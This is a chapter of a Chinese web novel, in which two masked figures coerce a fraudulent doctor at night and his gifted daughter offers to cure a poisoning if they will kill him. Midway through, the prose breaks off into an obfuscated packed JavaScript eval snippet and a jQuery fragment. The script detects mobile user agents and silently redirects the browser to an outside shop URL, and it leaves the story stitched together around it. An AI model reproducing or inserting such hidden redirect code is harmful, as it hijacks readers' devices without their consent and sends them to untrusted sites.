王家今晚熄灯极早,王济在家中向来有些说一不二的,当然,除了他的妻子。
他这个妻子向来是不服管不服教的,王济心中着急,可薛氏始终身体强健,搞得他连续险也不成。今天刚从桐花巷回家,他本想去到他父母的房间看看,毕竟今天早上收的那几个有怪病的病人颇有些棘手,他不喜研究医术,常年让早已退下医堂父亲替他代开药方代想治法,甚至连药都懒得自己抓,让自己年逾七十的老母帮忙挑药抓药。
应当是老两口医术实在是精湛,多年来还真让王济混出了些名堂,留在了京城最富盛名的医馆中当震馆医师。唯一的遗憾就是膝下没个儿子傍身,王济时常去外面寻找机会,有了前几次的经验,王济这一次将风声瞒得极好,谁知今日在去压榨父母医术的路上,恰巧看见一只鸟儿抖落一张纸片在薛氏的卧房前。
王济心中疑惑,捡起来一看,“桐花巷”三个大字赫然在目。
王济身上瞬间被冷汗沁透,他赶忙将纸片收起来,环顾四周看有不有人经过。
“你鬼鬼祟祟地在干什么?”薛氏的声音在王济身后响起。
“夫……夫人,怎的不在房内?”王济被吓得跳了起来,转过来将纸条紧紧捏在手中。
“自然是在给爹娘帮忙。”薛氏怀疑的目光在王济身上逡巡,又凑上前去闻王济身上是否有脂粉味。
王济心虚得连连后退,道:“怎……怎么会呢?我今日回来得如此之早,怎会……”
王济捂住嘴,怕自己不打自招。
薛氏哼出一口气,撞开王济自顾自地进了卧房。
王济手中捏着的纸片都被冷汗浸湿了。他快步走到书房,迅速将门关上,展开手上被汉浸湿的纸片翻转过来,上面还写着一行小字:今日子时,贵府厨房。
王济决定自己去探探虚实,他将书房藏着的银票取出来。
于他而言,这件事能用钱解决最好不过了。
于是今夜子时,熄灯极早的王家基本上都已陷入了沉睡。
只有王济一人,端着一盏烛台在厨房等待。
一阵怪风袭来,王济手上的烛台熄灭了,整个厨房陷入昏暗。
他瞬间僵住,汗毛倒竖。
一阵椅子拖行的声音响起,落定在他面前,然后没了声息。
王济想伸手去灶台上摸火折子,脖子上冰冷的触感却将他劝退了,他颤着声音问:“阁下是谁,若是需要钱财,在下定当拱手奉上,有……有话好说,只要不害我性命,不把桐花巷的事情告诉我夫人,一切都好说,我明天立刻去铭草堂讹点钱……”
“哼。”一声冷哼响起,接着脖子上的匕首瞬间刺破他的皮肤。
一股尿骚味传来。
步蝉简直无语至极。她用火折子点燃灶台上的小灯,王济这才看清,不远不近坐在椅子上的是一个蒙面的年轻女子。
“姑奶奶……姑奶奶,饶小的一命……”王济打算求情,步蝉却根本不管他,对劫持着王济的江默道:“小心点,他尿了,别沾上了。”
“我不怕。”江默道。
“我怕,脏兮兮的。”
江默想起昨天晚上步蝉帮他烧衣服时的表情,还是默默隔开了自己与王济。
见状,步蝉才转向王济,打量着问道:“王济……王大夫,是吧?”
王济忙不迭地点头。
步蝉不慌不忙道:“医术精湛,铭草堂坐堂,是吧?”
王济的头点的迟疑了。
步蝉不管,对着江默道:“好了小燕子,别对我们的大夫这么粗鲁,把你的手伸出来让王大大夫把把脉,帮你把身体里的余毒清除掉。”
脖子上的刀没有动,王济颤巍巍地三指搭上从背后伸出来的手腕。
一盏茶的时间,步蝉等得有些不耐烦地用手扣着灶台。
“怎么?王大夫治不好?”
王济道:“这……这……”
步蝉站起来摇着头道:“可惜了,王大夫可是京中最好的大夫呢。”
接着毫不留情地冷声道:“削掉他的两根小拇指……恩……还有,该怎么告诉你的夫人你那玉雪可爱的儿子的事呢?”
听到儿子的事,王济瞬间跪在了自己的那摊尿上,哀求道:“大人……大人饶命,千万不能告诉那薛氏啊……我……我虽然不行,但是我爹娘,我爹娘医术精湛,他们一定能治好这……这位公子……”
“谁?!”一直沉默的江默忽然出声看向门口。
刚刚被架在王济脖子上的刀被投向门边,一声闷哼响起,那人却并未离开,反倒是打开了门进来,后又将门关得死死的。
“二位饶命,我不是来救他的。”是一道女声。
王济似乎认得这个声音,看向门边。
刚刚被江默用匕首击中了小腿,那人一瘸一拐地走到烛灯照耀的范围,缓缓露出了一张眼眉上挑的瘦削脸庞。
“雁儿,雁儿,你快去把祖父祖母喊醒,让他们来给这位公子看病,快……”王济激动地喊道。
王雁的声音比刚刚的步蝉更冷:“祖父祖母年纪大了,不宜深夜唤醒。”
王济脸色瞬间垮了下来:“你……”
“不过,”王雁嘴角噙着一抹冷笑,也不顾小腿的伤势,颇有些解气地看着王济的脸色转换,她道:“我可以为祖父祖母代劳。”
王济脸上显出一阵厌恶又害怕的神情,脸上红白加上青色的胡茬如调色盘般难看,混浊的眼睛突出咬牙切齿道:“你一个丫头片子,懂什么,你是要害死我吗?”
“若是可以,我早就这么做了。”王雁几乎是从牙缝中挤出这几个字。
说完便看向步蝉,而步蝉早在王雁进来的时候就又坐回了椅子上,一副闲散姿态。
她朝步蝉挪了两步,江默用脚挑起一根烧火棍,挡住了她的去路。
王雁停下来喘着气道:“你是主子对不对?”
“好眼光。”步蝉点头称赞。
“他的医术,是徒有虚名,全靠我祖父祖母,还有我每天通过病案帮他治病,他‘隔夜’大夫的名头就是这么来的,我医术不错……”说起这个王雁脸上多了几分真切的笑,她道:“祖父母年纪大了,时常精力不济,经常由我代为开药,这个家里就我一个孩子,祖父母的医术传不了他,便全都传给我了,我很有天赋,你相信我,只要你答应我一个条件,我便帮你医治……”
步蝉道:“你似乎没有跟我谈条件的资格,你也看到了,他一个打你们两个就跟玩一样。”步蝉语气轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565661|204739||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
松指向江默。
江默的棍子逼向王雁的脸。
王雁一时说不出话,脸色苍白。
“不过……你说你很有天赋?仔细说说?”
王济:“大人不要听她……”
江默的棍子不轻不重地敲在了王济的嘴上,瞬间坚硬的牙齿将嘴唇嗑出血,王济瞬间不敢再说话了。
步蝉满意地看了江默一眼。
王雁吞了一口口水,还是大胆道:“我两岁就启蒙了,药堆里长大的,他不让我碰医术,我就悄悄看,我看一遍先背住,晚上再反刍,我十岁的时候就能开方子了,是他……”王雁情绪激动了起来,指着王济道:“他觉得我是个女孩,不中用,不让我学,可祖父母舍不得我的天赋,将我带在身边教,我……前面……前面,京郊棘手的鼠疫,是我的方子,被他偷去用了,才得来铭草堂坐堂的位置,我医治过很多人……我……”
步蝉闭眼在系统中搜寻着,果然搜到了关于京郊鼠疫的事,不过……
王济脸色涨红,喷着血道:“我是你爹!!你这个逆女,果然不能生女儿啊……”
“啪——”
一声脆响。江默环顾四周,警惕着这么大的声音会不会引来其他人。
步蝉揉着手腕,脸上是玩味的冷笑,眼中却没有一丝情绪。
将扇了王济的手在江默身上擦了一下,江默也默默用力接住步蝉的手掌。
“让你开口了吗?烂心烂肺的东西。”
王济捂着脸,头歪到一边,再也不敢开口了。
“你叫……王雁,对吧。”
王雁睁大了眼睛,原先有些阴郁的脸上多了些……不知道怎么表达的情绪,她点了点头。
“雁这个字好,飞得高飞得远,你母亲姓薛?”
王雁点头。
步蝉又坐回椅子上,心中道:这个王字不好,今后不再提了……薛雁,听起来要顺耳得多。
“你有把握完全治好吗?”
“我要先摸摸脉。”
步蝉示意江默伸手。
王雁沉吟半晌,皱着眉道:“不是京城的毒,也不是江、泉、高、扬四洲的毒,倒像是虔州的毒法,可是已经解了一半了,我应当有七八成的把握。”
“我祖母对毒有所研究,她教过我,每个地方都用毒手法、计量、配伍方式、还有常用草药都略有不同,懂的人一看就能看出来区别,有些毒需要用某些特殊地带生长的草药才能解,这就让有些毒在没有特定草药的情况下,只能大体消减而不能完全去除,若是有对症草药,我有十成的把握解毒,不过具体要什么草药,我得去翻书找找。”王雁解释道。
步蝉点了点头,给了一个眼神给江默,他立刻将缩成鹌鹑的王济打晕。
步蝉对王雁道:“你有什么条件?”
王雁面露欣喜,随即恨恨地看向地上的王济,道:“杀了他。”
江默看向步蝉,等待指示,步蝉却摇摇头道:“我不想让我的人沾上人命。”江默一怔。
“那我杀!”
“你也别杀。”步蝉轻飘飘一句话便止住了王雁的动作。
“为什么?”
“我也不想你的手上沾上人命。”
王雁也怔住了。